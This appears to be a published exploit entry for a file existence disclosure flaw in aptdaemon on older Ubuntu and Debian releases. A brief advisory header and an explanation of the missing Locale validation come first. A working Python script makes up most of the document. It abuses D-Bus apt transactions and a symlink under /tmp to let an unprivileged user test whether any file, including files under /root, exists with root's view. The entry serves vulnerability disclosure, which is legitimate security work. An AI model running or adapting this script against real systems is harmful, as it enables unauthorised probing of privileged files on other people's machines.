aptdaemon File Existence Disclosure

aptdaemon versions prior to 1.1.1 suffer from a file existence disclosure vulnerability.

# Exploit Title: File Existence Disclosure in aptdaemon <= 1.1.1+bzr982-0ubuntu32.1
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://wiki.debian.org/aptdaemon
# Software Link: https://wiki.debian.org/aptdaemon
# Version: <= 1.1.1+bzr982-0ubuntu32.1
# Tested on: Ubuntu 20.04
#
#!/usr/bin/env python3
#
# Ubuntu 16.04 - 20.04 
# Debian 9 - 11
# aptdaemon < 1.1.1+bzr982-0ubuntu32.1
# Sensitive Information Disclosure
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# There is no input validation on the Locale property in an 
# apt transaction. An unprivileged user can supply a full path
# to a writable directory, which lets aptd read a file as root. 
# Having a symlink in place results in an error message if the 
# file exists, and no error otherwise. This way an unprivileged 
# user can check for the existence of any files on the system 
# as root.
#
# This is a similar type of bug as CVE-2015-1323.
#
# 
# $ ./test_file_exists.py /root/.bashrc
# File Exists!
# $ ./test_file_exists.py /root/.bashrca
# File does not exist!
#
#

import dbus
import os
import sys

if len(sys.argv) != 2:
  print("Checks if file exists")
  print("Usage: %s <file>")
  sys.exit(0)

FILE_TO_CHECK = sys.argv[1]

bus = dbus.SystemBus()
apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt")  

# just use any valid .deb file
trans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.14-1ubuntu2.1_amd64.deb", False)

apt_trans_dbus_object = bus.get_object("org.debian.apt", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction")

properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties')

os.mkdir("/tmp/a")
os.mkdir("/tmp/a/LC_MESSAGES")
os.symlink(FILE_TO_CHECK, "/tmp/a/LC_MESSAGES/aptdaemon.mo")

try:
  properties_manager.Set("org.debian.apt.transaction", "Locale", "/tmp/a.")
except:
  print("File Exists!")
  pass
else:
  print("File does not exist!")

os.unlink("/tmp/a/LC_MESSAGES/aptdaemon.mo")
os.rmdir("/tmp/a/LC_MESSAGES")
os.rmdir("/tmp/a")

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